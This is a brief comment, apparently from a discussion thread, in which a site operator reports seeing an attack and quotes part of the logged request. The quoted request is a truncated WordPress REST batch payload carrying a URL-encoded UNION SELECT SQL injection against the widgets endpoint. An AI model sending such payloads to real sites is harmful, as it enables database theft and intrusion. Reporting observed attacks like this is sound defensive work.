Ahhh very interesting! Thanks for pointing this out, I saw an attack against one of our sites this weekend using this exploit.

> data: {'requests': [{'method': 'POST', 'path': 'http://:'}, {'body': {'requests': [{'method': 'GET', 'path': 'http://:'}, {'method': 'GET', 'path': '/wp/v2/widgets?author_exclude=1%29+AND+1%3D0+UNION+ALL+SELECT+0%2C1%2C0x323...